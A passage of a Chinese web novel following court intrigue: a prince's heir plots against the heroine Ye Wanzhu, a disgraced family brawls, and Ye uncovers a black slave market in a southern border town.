三两下拆开信封,低头快速地读着信中的内容,孟希越眼前忽然一黑,身子也跟着猛地摇晃了两下! “主子!” 黑衣人们连忙上前搀扶,孟希越却摆了摆手。 他又重新低下头,将信纸上的墨字一个一个地看了过去。 矿山被炸,苦力出逃,他的手下死伤惨重,黄县令反水! 没一个好消息! 而这一切,竟然都和一个来无影去无踪的神秘女人有关! “叶晚竹……” 用力咬着牙,孟希越阴恻恻地念叨着。 除了她,还能有谁? “好,好得很啊!”他一把将信纸攥成一团,“给那边回信,想办法控制住闵镇的情况,剩下的人,都去给我追景平王妃的下落!我要她死无葬身之地!” 第一百八十二章 王爷,咱们出不去了! “是!” 黑衣人手下应了一声,却并未立刻离开,抬起头,又期期艾艾地朝着孟希越看了过去。 “主子,”他语气试探,“景平王妃手下还带着不少暗卫,如今也不知道去了什么地方,那些人的本事也不差,您看……是不是给那边添几个人?” 孟希越或许是气得什么都顾不上了,这手下听着方才的话却有些恻恻。 景平王妃只带着几个人,就把那么大的矿山搅合得天翻地覆,他们要是不多些人手,又让她逃跑了怎么办? 再者说,闵镇那边,现在可能也不剩下多少人了! 孟希越沉下眸子,不悦的冷光朝着自己的这个副手看去。 副手连忙又把脑袋一低,心里暗暗叫苦。 这位安王世子可不是什么能容人的性子! “你说的也有几分道理。” 孟希越这时候黑着脸开了口,语气硬邦邦的。 “这样,你去给那边传信,只要发现叶晚竹的踪迹,杀不死,就把她往南疆的方向逼!” 南疆? 听到这两个字,副手下意识地抬起头,飞快地左右看看,见空无一人,这才松了口气。 “主子,您的意思是……” 他上前两步,眼神闪烁,孟希越也冷笑了起来。 “等进了南疆,他们连自己是怎么死的都不会知道!” —— “他,他真是这么说的?” 半柱香后,孟希越带着郭嬷嬷等人如来时一般,无声无息地消失不见了。 别院中,安王用凉水浸湿的帕子捂着自己发红的眼眶,听着下人的话,眉毛皱得能夹死苍蝇。 忠义公公躺在他身边地上的担架里,腿上的伤已经被处理过,却还是疼得直喘粗气。 小厮提心吊胆地站在他面前,双腿发软,浑身都控制不住地哆嗦着。 偷听世子和手下说话,他竟然活着回来了! “世子就是这么说的,王爷,世子听上去特别,特别的生气……” 想想孟希越那冷冰冰,好像随时都有可能拔剑杀人的语气,这小厮又激灵灵地打了个哆嗦。 安王哼了一声,重重地将桌子一拍。 “他生气?他还有脸生气?他好意思看看自己做的是什么事吗!” 饶是口中这般硬气,安王说话的时候,也还是本能地降低了音调。 小厮缩着脖子,不知道这话该怎么接。 “行了,你下去吧。” 忠义公公这时候朝着那小厮摆了摆手,忍着疼,尽力做出严肃的表情。 “让外面的人把嘴都管好,谁敢乱说,就把谁交给世子。” 这话比什么都好用,小厮立刻一迭声地应着,又连忙转头跑了出去。 “把门给我关上!”安王又冲着他的背影没好气地嚷了一声。 等到屋中只剩下安王和忠义公公,主仆二人对视一眼,同时叹了口气。 “这个逆子!” 咬着牙骂了一声,安王的表情又立刻变成了忧虑。 “他怎么能抓住那个郭嬷嬷?东厂的人难道也不是他的对手?这不能够吧?” 紧张兮兮地说着话,安王又跳起来,控制不住地在屋里转着圈。 “不是说谢无咎是个不能再厉害的人物吗?这是怎么了?” 忠义公公想说话,可仍然从腿上传来的剧痛,还有安王停不下来的碎碎念都让他找不到话头。 他越发同情地看着自己的主子。 远离各种纷纷扰扰,在这桃花源一般的别院安安静静地生活了大半辈子,安王的生活显然是到了连老天都羡慕的程度。 所以才给他送来了一个孟希越这样的儿子。 “……皇上到底怎么样了,你那边有消息没有?” 安王点兵点将地念叨着,这会儿轮到了昭德帝。 忠义公公回过神来,眼中的神情黯淡了下去。 “没有,宫里什么消息都没有传来,也送不进去。” 安王狠狠地跺了跺脚,又变得更加焦躁。 不会真让孟希越这个臭小子得逞了吧! 那可不行啊! “不行不行,得把这个消息送出去!” 又原地转了两圈,安王耐不住性子地跳起来,叫了个小厮进门,“你现在就去京城,找九千岁要御医,就说,就说我中暑了,快死了,让他赶紧派个人过来!” “你这是什么表情?” 说完了话,安王才看见面前的小厮一脸要死不活,下意识地脱口发问,而后才听到院外吵吵嚷嚷,乱得不像话。 “王爷……”这个小厮脸色惨白,“外院,外院被世子派来的人接管了,他们说,不许任何人出入!” —— 与此同时,孟希越来到了萧子景一家三口暂居的小院。 出了爆炸那样的事情,景平王府肯定是回不去了,三人只好听从安排,暂时在这座远离高门大户的普通民宅里落脚。 孟希越隔着院墙便听见了里面传来的阵阵哭声,敲门的手顿了顿,才继续动作。 “哭什么哭?还不快去开门?”萧子景压抑着愤怒的声音从里面传了出来,“没用的东西,你现在还能干什么?” 孟希越的眼中又闪过一丝不耐烦。 萧子景是个受不了委屈的,让他住在这种地方,实在不是个好主意。 可眼下,东厂的人正借着爆炸四处搜捕,大张旗鼓地换宅子是不可能的。 脚步声响起,来人在门后摸索了很长时间,才艰难地将门闩拔开。 阮莹莹顶着一对红彤彤的眼睛看了出来,见是孟希越,又连忙低头避开。 “景平王呢?”孟希越权当没看见她的模样。 “在屋里,世子进去说话吧。” 阮莹莹含糊地嘟哝了一声,将孟希越迎进院中,关上院门,又颇为吃力地重新上锁。 孟希越看了一眼她变形破碎的手指,没再说什么,转头先往屋中去了。 “世子?您,您怎么来了?外面还好吧……” 萧子景惊讶又不安的声音响起,又很快被孟希越关门的动作掩住了。 等阮莹莹终于用很不灵活的手将门锁上,院子里也重新变得安静下来。 她呆愣地站在原地,目光在这间陌生的院落里来回打着转,最后渐渐被落在一间屋子上—— “过来!” 第一百八十三章 内斗 “姨娘……” 孟希越安排的这间民宅,跟宽敞的景平王府肯定是不能比,但却也不算太差,有厨房和洗漱的地方,除此之外,还有三间屋子,正好能让萧家三口住下。 阮莹莹气势汹汹地冲进萧延所在的那间屋子,萧延只来得及说了两个字,就被她顺手抓过放在桌上的抹布,一把堵住了嘴。 “唔唔!” 刚挣扎了两下,一阵剧痛从大腿根传来,萧延瞪大双眼,尖叫全都被堵在了喉咙中。 他双腿不便,不能行动,被这一下掀翻在地,脑袋重重地磕在了地上! 身上一重,阮莹莹的半个身子都压了上来,用膝盖死死地踩着他大腿上所剩无几的肉,用力地在地上来回碾着。 “没用的东西,你刚才怎么不知道跑?” 几间屋子离得太近,大声说话都能互相听见,阮莹莹只好用力压下声音,憋得一张脸都扭曲了起来。 这段时间对于阮莹莹来说,日子过得实在是一塌糊涂。 身体遭受重创已经让她心力交瘁,还要顶着炎炎烈日,天天在东厂外抛头露面,丢人现眼。 也不知道那安王世子给萧子景吃了什么迷魂药,让他着魔一样针对谢无咎,这也就算了,还要拉上她一起! 阮莹莹不骂不行,骂得声音太小,或者情绪不到位也不行,只要没让萧子景满意,每天回到府中,等待她的便是一顿毒打! 为了自保,阮莹莹如今骂人的模样,想来和泼妇已经没什么两样了。 可就在今天,爆炸来的猝不及防,阮莹莹刚被冲击得摔倒在地,还没等反应过来,又被几个黑衣人拉扯着带走。 她晕晕乎乎,脑子一片空白,连自己是怎么被送到这间宅子里的都不知道。 她只知道,萧子景看到她的第一刻,就猛地挥拳,狠狠地打了上来! “贱人!没用的东西,光顾着自己逃跑!” 阮莹莹被揍得眼前发黑,更加晕头转向地挨了好多拳脚,才从萧子景的骂声里明白了缘由。 萧延行动不便,被带过来的时候,撞掉了一颗门牙。 这跟她有什么关系? 阮莹莹越想越气,看着萧延想哭又哭不出来的样子,下手更加毫不留情。 “又是你这个小畜生,在你父王面前挑拨离间吧?少给我装委屈!” 萧延讨厌她,这是阮莹莹早就知道了的事情,在萧延眼中,阮莹莹就是害他被叶晚竹扫地出门的真凶。 简直让人笑掉大牙! 阮莹莹本不想和他计较,可自从三人要一起行动,萧延明里暗里,只要找到机会,便不遗余力地在萧子景面前抹黑她,污蔑她。 这也是萧子景如今对她的态度如此天翻地覆的原因之一! 想到这儿,阮莹莹的动作更加狠辣,双手使不上太多力气,用脚后跟死死地踩萧延的小腿骨。 “小贱骨头,和你那个该死的娘一样,都不是什么好东西!” 她神情狰狞,萧延又怕又疼,冒出了一脸的冷汗,眼神却也变得凶狠起来。 敢说他是贱人? 阮姨娘才是那个最大的贱人! 他只恨父王没有现在就杀了阮姨娘,她竟然还敢这样欺负他! 身上恢复了一些力气,萧延伸手就没命地朝着阮莹莹的脸抓了下去! 一个连手都动不利索的废物! 受伤之后,萧延整日坐在轮椅上,景平王府的下人不知道为什么没了大半,没人能时时刻刻地关照他,他只能自力更生。 如此一来,倒是给他的胳膊锻炼出了一把力气。 萧延一爪子挠上来,阮莹莹感到半边脸火辣辣地发疼,伸手一摸,几道鲜血让她暗了脸色。 她今天就杀了这小畜生算了! 萧延却动作更快,毕竟是有手的人,他一把将嘴里的抹布拽出来,尖厉的哭嚎声无比高亢。 “救命!救我啊父——” 一句话还没喊完,萧延眼前有黑影一闪而过,紧接着便被一只大手死死地捂住了下半张脸。 “唔——!” 阮莹莹下意识地想尖叫,刚张开嘴,也获得了同样的待遇。 两人互相看向对方身后,眼中都映出一个黑衣人的模样。 “怎么回事?” 与此同时,房门洞开,孟希越一脸阴沉地走了进来。 萧子景一瘸一拐地跟在他身后,脸色本就十分不好,等看见屋里一片狼藉的模样,更是眉头紧皱。 “有话说话,不许喊,不许叫,听懂了没有?” 孟希越的眼神从阮莹莹和萧延身上扫过,语气冷冰冰的。 二人忙不迭地点头,捂着他们的那两只大手才松开了。 “父王!阮姨娘打我……!”萧延立刻瘪着嘴,委屈巴巴地朝萧子景看了过去。 这套说辞,他已经用得非常熟练了,更别说今天还确有其事! 萧延掀开衣袍下摆,看见他大腿根红肿泛青的伤痕,萧子景两步冲上去,揪住阮莹莹的头发便左右开弓地扇起了她的耳光。 “贱人!你这个没用的贱人!” 阮莹莹低着头左躲右闪,可惜却怎么都躲不开,索性抬起头直勾勾地盯着萧子景,语气嘲讽至极。 “我是没用的贱人,所以才和王爷是天生一对啊!王爷要不要睁开您那仅剩的一只眼看看,除了我,现在还有谁愿意跟着您,出生入死?” 萧子景的胸膛顿时越发剧烈地起伏着,下一个巴掌扇得又快又狠。 “住口!要不是你处心积虑地想钻进景平王府,也不会闹出来这许多事情!” 夜深人静的时候,萧子景一遍4又一遍地想着过去发生的一切。 要不是他被阮莹莹蛊惑,要给她一个平妻之位,叶晚竹就不会发疯! 她不发疯,就不会拿走王府的钱,也不会一步步地让他们的关系如此恶化! 所以说,都怪阮莹莹! 萧子景居高临下地看着被自己拎在手中的女子,眼神里满是憎恶,已经完全没了曾经的柔情蜜意。 就是她,让自己失去了一切! 他本该锦衣玉食,而不是过这样的日子! “本王杀了你!” 萧子景一把扼住了阮莹莹的脖颈! 第一百八十四章 各找出路 阮莹莹猝不及防,连半点声音都没有发出,就被脖颈传来的剧痛包围了。 窒息感铺天盖地地袭上,她惊恐地张大双眼,想呼吸,却发现自己没有一点儿力气。 “咯咯……” 喉头传来让人心惊胆战的动静,阮莹莹奋力挣扎,却只感到眼前的景物变得越来越模糊。 萧子景真的要杀了她! “好了,好了。” 孟希越一直背着双手站在一旁,眼看着阮莹莹的脸开始发青,眼球突出,意识到萧子景是要来真的,才出声制止。 “景平王,一点误会而已,莫要这样伤了阮姨娘的心。” 尽量和缓了语气说话,孟希越也还是有些控制不住自己的不悦。 这景平王爷,交代给他的差事做了这么长时间都没效果,连谢无咎的影子都逼不出来,对着自己人耍狠倒是十分在行! 还有阮姨娘和萧延,两个不知所谓的蠢货! 难怪他们一家三口能一直在一起呢。 心中不屑,孟希越却还是上前,亲自按住了萧子景的手腕。 “王爷,够了。”他加重了语气。 萧子景像是被烫了一下似的,猛地松开了手。 任由阮莹莹扑通一声摔在地上,他忙不迭地抽回被孟希越攥住的手腕,双手交叠着放在身前。 这位世子对他明显是居心不良,要不是为了弄死叶晚竹,求一个更好的出路,萧子景恨不得一刀砍了孟希越的手! 只要找到机会,就对他动手动脚,简直是岂有此理! 萧子景恶心得直想吐! 可人在屋檐下,不得不低头,萧子景极力控制着自己,不住地打着哆嗦。 “让,让世子看笑话了,”他的语气也因此而变得吞吞吐吐起来,“家里人不懂规矩,让世子见怪。” 孟希越先皱了皱眉。 也不知道这景平王爷,上战场的时候是不是也这么一副别别扭扭的矫情样子。 连说句话都不利落。 “王爷的家事,本世子自然是无权插手,不过,此人多嘴杂,不该说的话,不该闹出的动静,你们最好还是自己掂量清楚。” 前后左右都是民宅,怎么会冒出有人叫父王的声音来? 孟希越不带一丝情绪地看着萧延,后者在他的注视下,浑身哆嗦着蜷缩起自己的身子。 “是,是妾身的不是,妾身会管好小世子的。” 阮莹莹这时候缓过气来了,忙不迭地从地上爬起来,跪坐在孟希越的面前。 “让世子费心,都是妾身的过错!” 低声认错,阮莹莹眼下的模样,和方才俨然是大相径庭。 她的态度总是好的,孟希越看在眼里,脾气也顺了三分。 “好了,你们先在这里委屈几日,等东厂的搜查过去,本世子便安排你们换到更舒服一些的地方去。” 说着话,他又朝萧子景投去一眼。 “景平王,本世子刚才跟你说的那些话,你好好想想,要是想起来什么,随时来告诉我。” 萧子景沉默不语地低下头去。 孟希越也不想再多说什么,转头便大步离开。 “还不快去送世子?没眼力见的东西!”他走出几步之后,萧子景重重的呵斥声又传了过来。 阮莹莹跌跌撞撞,小跑着来到孟希越身边,低着头在他前面引路。 其实根本不用引,她再慢来一步,孟希越就能走到大门前了。 “世子路上慢些,妾身会照顾好王爷的。” 抢在孟希越前面伸手拉开门,阮莹莹抬起头,楚楚可怜的目光朝上看去。 如今孟希越才是那个说话有分量的人,阮莹莹早已经知道得清清楚楚。 萧子景没了眼睛,就算日后能安生地活下来,那也是废人一个。 况且,就算最后能成功,看萧子景的模样,也是绝对不会让她好活的。 阮莹莹顺从地朝着孟希越俯下身子。 她得抓紧时间,给自己选一条别的出路才是! 孟希越先是一顿,随后眼底又升起了一抹淡淡的笑意。 “姨娘的手行动如此不便,有些耽误事,等过段时间,本世子找人来替姨娘重新处理一下好了。”他朝阮莹莹放在门闩上的手看了过去。 这女人的胆子倒是够大,萧子景还在院中,就如此肆无忌惮地来暗示他? 阮莹莹的身份背景,孟希越也算调查得清清楚楚,他对这样一个朝三暮四的女人没什么兴趣,不过,这份胆气倒是说不定能有用处。 想着,他的表情越发和善。 阮莹莹眸光闪动,低着头止不住地窃喜起来。 成了,成了! “世子大恩大德,妾身无以为报,日后若是有事,世子直接吩咐!” 孟希越等的就是这话,眯着眼睛笑着点了点头。 “一定。” —— 京中的氛围因为那一场突如其来的爆炸又彻底改头换面了一番。 九千岁找到证人,指控安王世子给圣上投毒;随后爆炸发生,安王世子和证人都不见了踪影,怎么看都是畏罪潜逃。 九千岁代替宫中发布了对孟希越,以及景平王等一干人的追捕,严密把控京城四门,进出往来都要经过检查。 可日子一天一天地过去,城中戒备森严,却始终没有传来疑犯被抓捕归案的消息。 京中的气氛也因此而变得越发沉凝。 叶晚竹收到谢无咎送来的这个消息的时候,已经是八月过半,算算日子,这个时候的京城应该已经出现了一丝秋高气爽的味道。 可南疆的太阳却依旧火辣辣地灼烤着每个人的皮肤,夏天还远远没有要结束的迹象。 从闵镇出发,叶晚竹一行重新扮成了南下采买的商队,走了一个多月的时间,终于进入了南疆境内。 叶晚竹南下的原因,除了要找到夏铃一行人,便是要搜集孟希越谋反的证据。 他的手下往南疆输送武器,这条线,叶晚竹不查都不行! 况且,一路穿过南郡,他们也没有发现什么不对劲的地方。 此事势在必行。 将谢无咎写来的信烧干净,叶晚竹站起身,走到屋外看着等在狼下的谢逸,还有夏铃等人。 “隐风怎么还没回来?” 第一百八十五章 买你需要多少银子? 今天是他们安顿下来的第一天,叶晚竹决定将人手散出去,在这座叫万源的小城里先打探打探消息。 隐风和隐川最擅长此道,天一亮就先行出去探路了,眼下已经到了约定好的时辰,却只有隐川现了身。 “我和隐风一东一西往城中探路,他去的是东边。”见叶晚竹看来,隐川抬手朝着某个方向指了指。 隐风的身手不用担心,那就应该是被什么事情绊住了脚。 想着,叶晚竹走到前院,跟客栈的伙计打听消息。 “城东边有什么?你们怎么连这都不知道?” 伙计操着一口口音浓重的大梁话,皱着眉头上下将叶晚竹打量了一番,眼里全是嫌弃。 “你们到底是不是来做生意的啊。” 万源与南郡边境接壤,这里到处都是附近的商队,连带着人人都会说几句大梁话。 “怎么着,我们做生意还得知道你们每天的吃喝拉撒?”谢尔抱着双臂,长剑拦在臂弯里,朝这伙计回了同样的一阵扫视。 姓谢的暗卫们又扮成了护镖的队伍,一个个凶神恶煞的模样,也不知道是故意伪装,还是原形毕现。 那伙计嘴角抽了抽,连忙挂上一个僵硬的笑容。 “那,那倒是不用……”他打着哈哈,“只是我们万源的奴市在附近一带赫赫有名,我还从来没听说过有人不知道的呢。” 奴市? 叶晚竹挑了挑眉,“买卖奴隶?有什么特殊的吗?” 京城也有专做这个的人牙子,也不见如此声势浩大。 伙计这下确定叶晚竹是真的什么都不知道了,朝前走了两步,顺便挂上一个神秘兮兮的微笑。 “您倒是猜中了,”他抬起一只手挡住嘴唇,“这奴市,只要是活着的人,什么样的都能买卖!” “嘿,小的不好多说,您还是自己去瞧瞧,一看就知道了!” 被这伙计说的如此神神秘秘,万源奴市里究竟在卖什么东西? 叶晚竹一行都是满肚子的疑惑,终于在抵达奴市现场的时候得到了解答。 光着身子的奴隶。 除了围在腰间的一块脆弱的布,所有人身上再不着寸缕,被铁链束缚着手脚,一脸麻木地在灿烂的天光下接受过路人的目光打量。 “……这有什么可看的?” 环顾四周,夏铃忍不住眉头紧皱,“那伙计果然不是东西,昨天晚上我就看见他贼眉鼠眼地打量小姐!” 现在还这样消遣她们! 叶晚竹同样对这些不感兴趣,她和商队的人站在一旁,看着人头攒头,挤挤挨挨的的街道—— “砰”地一声这时候忽然响了起来! “主子小心!” 谢逸等人连忙朝叶晚竹围拢,一面警惕地打量着周围的环境,却什么都没发现。 “那儿。”叶晚竹这时候抬手指了指奴市深处,几道烟火正在半空中炸开。 不少人听见这个声音便挤了过去,更多人看着那个方向,锣鼓和隐隐的欢呼声也传了过来。。 这回不用再问什么,叶晚竹一行也朝着那边走了过去。 靠得越近,热闹的氛围便越是浓郁,等挤到中心区域,一行正在锣鼓的敲击伴奏之下,扭动身子跳舞的奴隶便出现在了叶晚竹等人面前。 “五铢钱一次!五铢钱一次啊!想看什么都可以!” 这边,叶晚竹刚刚站定,便有一个拎着布袋的人朝他们走了过来。 奴隶跳舞的地方被围出了一大块空地,这人是里面为数不多穿着衣裳的,他审视地看了几人一眼,将目光最后锁定在叶晚竹身上。 “这位老板,您要不要寻个乐子,先看看这批货的水平如何?”他咧嘴一笑,“我们这里可是有奴市最好的资源,保证让您买到最优等的奴隶!” “这是在干什么?”叶晚竹的目光依旧在看着空地中央。 里面的十几个奴隶有男有女,和外面的做着同样的装扮,可与外面那些伤痕累累的奴隶相比确实干净健康了不少。 见叶晚竹看来,不少人都下意识露出了讨好的眼神。 那场子的伙计这时候微微敛了敛笑容。 “你们是大梁人?”他后退半步,似乎重新打量起叶晚竹来。 叶晚竹站在原地没动,只是挑了挑眉,“怎么?” 她听着这伙计的语气,似乎不是很友好啊。 “啊,没什么。” 这一行人看上去就不好惹,那伙计很有眼色地干笑了两声,“只是问问,所以,你们要不要看表演?” 一边说着话,他一边又晃了晃手里的钱袋子。 叶晚竹看了看这简易的场地四周,站着的大多是穿着打扮还算富贵的人,左右也不如在其他地方赏玩奴隶的人群拥挤。 显然,这里是付费区域。 “五铢钱?”叶晚竹定定地看着那伙计。 “是是是。”伙计又干笑着连连点头。 “谢谢,不看。” 叶晚竹的假笑比他还干巴巴的。 虽然不知道为什么,但这伙计对大梁人态度如此轻慢,还是不要从她们身上挣到一个铜板比较好。 再说,叶晚竹对这样的表演也没兴趣。 “嘿你——!” 被耍了一道,那伙计立刻瞪圆了双眼,愤怒地看向叶晚竹,“想闹事是不是?” 他嗓门嘹亮得很,顿时吸引了周围大半人的注意。 “怎么回事?想找死是吧?” 几个一脸横肉,凶神恶煞的打手也立刻起身,朝这边走来。 隐川谢逸等人毫不畏惧,迎头而上,叶晚竹却竖起手掌止住他们的动作。 “你那只眼睛看见我们要闹事?”她冷冰冰地扫了那个伙计一眼,“你问我要五铢钱,我没给,价钱谈不拢就叫闹事?别人在路上看你一眼,你是不是也要追着人家要铜板?” “你!” 四周传来阵阵笑声,那伙计的脸色变得更加难看。 他看了看面无表情,一看就不好对付的隐川等人,愤愤地朝打手们做了个后退的手势。 “没钱就赶紧滚开!”他语气恶劣,“别挡着其他客人!” 叶晚竹又勾起一个皮笑肉不笑的模样。 “我对这里面的人没兴趣,看你倒是不错,你们老板呢?让他出来开个价,买你要多少铢钱?” 第一百八十六章 有话好好说! 她话音刚刚落下,周围忽然响起几声倒吸冷气的动静。 那伙计气得眼睛都红了,抬手恶狠狠地指着叶晚竹,胳膊却控制不住地哆嗦着。 “你,你果然是要闹事!几只不老实的大梁狗,也敢在这里叫!” 一行人的表情全都变了。 “小子,把你的嘴张开,再叫一遍?”谢尔把拳头捏得咔咔直响,“你说谁是狗呢?” 伙计也豁出去了,“这帮人闹事!都给我上——” 没等他把话说完,叶晚竹飞起一脚狠狠将这伙计踹飞了出去! 伙计的身子重重砸向正手足无措站在场地中央的奴隶们,他们身后还搭着一顶帐篷,也在瞬间随着一群人混乱的动作轰然坍塌! “啊——” 尖叫声四起,叶晚竹冷着脸扯断了围栏的绳索,又干脆拎着绳结头大步朝那个伙计走了过去。 “我怎么不知道我是什么狗?” 那伙计还在地上挣扎,嘴角有血迹溢出,叶晚竹挥起半截麻绳,劈头盖脸地朝着他抽了过去! “倒是你,人话说不了两句就开始汪汪大叫,还咬人,我看你才更像是一条疯狗。” “疯狗可不能随便放出来咬人,还是打死比较好!” 又是一个月过去,叶晚竹越发能感到内力的恢复,如今已经有了从前的六七分水平。 赶路不急的时候,她也会早起练功,眼下手上的力道也大了不少。 哪怕是一条麻绳,也能被叶晚竹使得虎虎生风,那伙计左躲右闪,也还是被抽得皮开肉绽。 “救命!救命啊!”他忍不住哀嚎起来。 这大梁来的女人,竟然敢这样放肆! “叫!继续叫!” 伙计放声大喊,叶晚竹手上的动作也越猛烈。 “你刚才说我闹事?睁大你的狗眼看清楚,我现在这才叫闹事!”她反手又抽了一下,得空抬起头看向早已经傻眼了的奴隶们。 “这条狗应该没少欺负过你们吧?”她伸手一指那伙计,“有仇报仇,有怨报怨,动作快点。” 奴隶之中有眼神还不算木讷的,第一个吼叫着扑了上来! 被脱光衣裳带到众人面前展览,还要被迫跳舞,就算这伙计没有对这些奴隶们做什么,光是这个角色,也足够让他们愤怒。 越来越多的奴隶涌向那伙计,场地外也跟着响起了阵阵骚动。 谢逸等人却将这块地方牢牢地围了起来。 “这是怎么了?停手,先停手,别冲动,有话好好说嘛!” 一个带着震惊的声音传来,叶晚竹抬起头,便看到那个已经倒塌的帐篷里,一个大腹便便,商人模样的中年男人正手舞足蹈地爬了出来。 他扶了一把歪斜的帽子,踉踉跄跄地冲到近前,朝谢逸等人拱手。 “几位,劳驾啊,劳驾!” 满脸堆着笑,这胖男人准确地找到叶晚竹的脸,又朝着她讨好地连连点头。 “我这手下确实被狗咬过,脑子坏了,让老板受惊了,实在是不好意思,有什么话,您看咱们里面说,怎么样?” 叶晚竹不动声色地看了他一眼。 这人的大梁话几乎没什么南疆口音,长相也和万源的百姓不太相似。 他是大梁人? “你们几个,赶紧把他弄走!省得丢人现眼!”胖男人此刻却已经吆喝着让打手们也围了过来。 奴隶们显然深受其害,一见到这些打手便接二连三地停下动作,眼神也重新变得畏惧。 “老板,您跟我来吧?” 胖男人依旧笑的讨好,却已经让场子重新安静了下来。 这毕竟是他的主场,不止有打手,还有更多从附近包围过来的手下们,皆是表情不善。 这红白脸的角色,倒是都扮演得不错。 收回目光,叶晚竹朝着这胖男人扯了扯嘴角。 胖男人的表情就变得胸有成竹起来,“您这边请,有什么话,咱们坐下来——”聊! “喀嚓”一声响,叶晚竹一脚踩在方才那个伙计的脖子上,轻轻用力。 那伙计连一点儿声音都没发出来,脑袋一歪,脖颈折成一个诡异的弧度,翻着白眼不动了。 “!” 胖男人的呼吸变得粗重,放在身体两侧的手也猛地攥成拳头,想说话又强行咽了回去。 叶晚竹抬起脚,又在这伙计的衣服上擦了擦鞋底沾上的血污。 “你这伙计既然被狗咬过,又无缘无故地发狂,肯定是犯病了,我动作快,能让他死得轻松点,免得他还要受尽折磨。” 看着这胖男人脸颊两侧抽动着的肥肉,叶晚竹终于露出了一个真心实意的笑容。 “不用谢。” “……您跟我来吧。” 深吸一口气,胖男人尽力将表情调整好,若无其事地引着叶晚竹一行往外走去。 叶晚竹抬脚跟上,只见附近的打手手下们同时朝前一步,露出了警惕神色。 “你们也被他咬过?”她眯了眯眼,语气轻柔。 “都下去!”那胖男人的声音忽然变得严厉。 将这些无关紧要的人都抛之脑后,叶晚竹跟着这个胖男人往奴市外走去。 隔着一条街,外面便是一副无比正常的城镇模样了。 胖男人说自己叫邵威,又带着一行人进到了附近一间雅致的茶楼之中。 叶晚竹冷眼看着他和茶楼里的小二熟稔地交谈着。 “你也是大梁人?” 待到小二将茶水送到,又关上雅间的门,叶晚竹便很不客气地直入主题。 听见她用上也这个字,邵威的表情里没有一点儿意外。 “夏老板怎么会现在到万源来?”他挑了挑眉,称呼着叶晚竹给的假称呼,“这个时候,南疆和大梁的生意可没那么好做。” 这个时候? 听着他的话,叶晚竹又生出了一丝古怪的感觉。 “不知道夏老板想买什么奴隶?在下可以代劳。”邵威这时候又换了个话题,眼中露出了打探,“不过您身边这么多手下,瞧着似乎没什么空缺了吧?” 暂时敛起心绪,叶晚竹挺直腰杆,朝着邵威露出了一个有些暧昧的笑容。 “有人告诉我,邵老板这里有好货,我才来看看热闹的。” 第一百八十七章 你猜猜,我是谁? 邵威面上的表情一时间十分复杂,混合着犹豫,怀疑和试探,似乎是拿不准该怎么回答叶晚竹的问题。 “我想,应该不是刚才在外面的那些吧?”叶晚竹更进一步,“还请邵老板给我介绍介绍,价钱好说。” “不知道夏老板想要什么样的?”邵威转了转眼珠子。 叶晚竹身体放松,向后靠在椅背上。 “当然是我能用得上的。” 她一双眼睛直勾勾地盯着眼前的邵威,气势越发地足。 这分明是个大梁人,可说话办事却与万源城中的一切没有任何分别,显然是已经在此处站稳了脚跟。 只是买卖奴隶,能让他如此得意? 那京中的人牙子们也早就应该能和景平王府当邻居了。 这里面有问题。 被叶晚竹一瞬不眨地盯着看,邵威的额头上冒出了一层不甚明显的薄汗。 “邵老板为什么犹豫?不信任我,还是,不想和我做生意啊?”叶晚竹的语气又越发沉了下去。 邵威抿着嘴唇,眼神更加游移,神态也渐渐不那么坚决。 就在他眼看着要放下怀疑的时候,房门忽然从外面被敲响了。 “谁?” 猛地站起身来,邵威问话的时候明显是松了一大口气。 “小,小的有话要跟您说!” 门外的声音不高不低,还带着一丝颤抖,“很紧急!” 叶晚竹还在看着邵威,他听见门外人说话的时候,飞快地皱了皱眉。 等转过头来,邵威却又已经恢复了方才的一脸笑模样。 “不好意思,失陪一下。” 他打着哈哈朝叶晚竹点点头,随即便朝房门方向走去。 “进来说话!” “主子,您退后。”与此同时,隐川忽然发出一声低到甚至听不分明的警告。 叶晚竹下意识地身子后仰,只听房门被打开的声音和窗外的光亮一起涌了进来! “你——!” 眼前一花,叶晚竹再朝发声处看过去的时候,邵威已经被死死按倒在地! 包厢门一开一合,一个小厮浑身僵硬地走了进来,两条腿好像不是自己的一般。 “安静。” 隐风不知道什么时候出现在这小厮身后,状似随意地伸手搭在他的肩头上。 小厮连连点着头,双唇紧闭,而包厢之外,等在门口的那几个跟着邵威的手下却一动不动,明显是什么都没发现。 在他们看来,这小厮只是进屋传话了而已。 邵威抬着脑袋看着眼前的一切,还想说什么,却被隐川死死捂着嘴巴,动弹不得。 “这是怎么回事?”叶晚竹终于站了起来。 给谢尔使了个眼色,让他上前接手这小厮,隐风这才走到了叶晚竹面前,低声讲起了今天的遭遇。 隐风和隐川分开在万源打探情况,他沿着城东一路游走,很快就发现了正在聚集人群的奴市。 万源平日里也有人牙子的存在,却远没有这般红火,那是因为从这个奴市里买下的奴隶,可以任凭主人处置。 万源虽然是南疆的地界,但和大梁在买卖奴隶的系统上倒是大差不差。 被主人家买回去的奴隶,便要记在主家名下,虽然做的肯定是下人的差事,但终归是落了籍,有正经名头的。 除非是恶贯满盈,声名狼藉的人家,一般宅院里的下人是不能被想尽花招,手段百出地折磨的。 而这就是这个奴市里可以做的事情。 或者说,一个只贩卖奴隶的黑市。 “那这些奴隶都是什么人?万源的衙门不管吗?” 听着隐风的话,夏铃忍不住瞪大了双眼。 方才那奴市声势浩大,整整一条街都摆满了摊位,如果是黑市,怎么能如此放肆? 隐风的声音有些沙哑,“这些人早就买通了万源官府,你说是吧,邵老板?” 他垂头朝已经被五花大绑,只能仰面朝天躺在地板上的邵威看了过去。 邵老板这会儿嘴里也塞上了自己的衣裳,发不出一点儿声音,只有一双惊恐的眼睛在上下左右地转个不停。 他试图用眼神传递一些信号,可惜,没人在意。 “你卖的都是大梁人,是不是?”叶晚竹冷笑着道出一句,目光变得很冷。 邵威的眼神又不住地闪动了起来。 “好啊你,把大梁人卖到南疆当奴隶,还让你手下骂我们是狗,”夏铃抱起双臂,似笑非笑地看着他,“你可真是个畜生不如的东西。” “这些奴隶的事情恐怕得先放放,主子,您看这个。” 隐风这时候从怀中摸出了一个传递消息用的蜡丸。 “属下查到这位邵老板的府邸,本想追查那些奴隶的线索,却没想到发现了这小厮去送消息。” 他空着的那只手点了点站在一旁,早已经抖若筛糠的那位。 “您自己看吧。” 隐风的声音透露着小心,叶晚竹心下疑惑,将那个已经捏碎过的蜡丸再打开一看,眼神也变得锐利起来。 “搜查叶一行人的队伍并未有成果,许已进入南疆,尔等多加注意,一旦发现,格杀勿论。” 短短的一行字下,落款是个怪模怪样的印章。 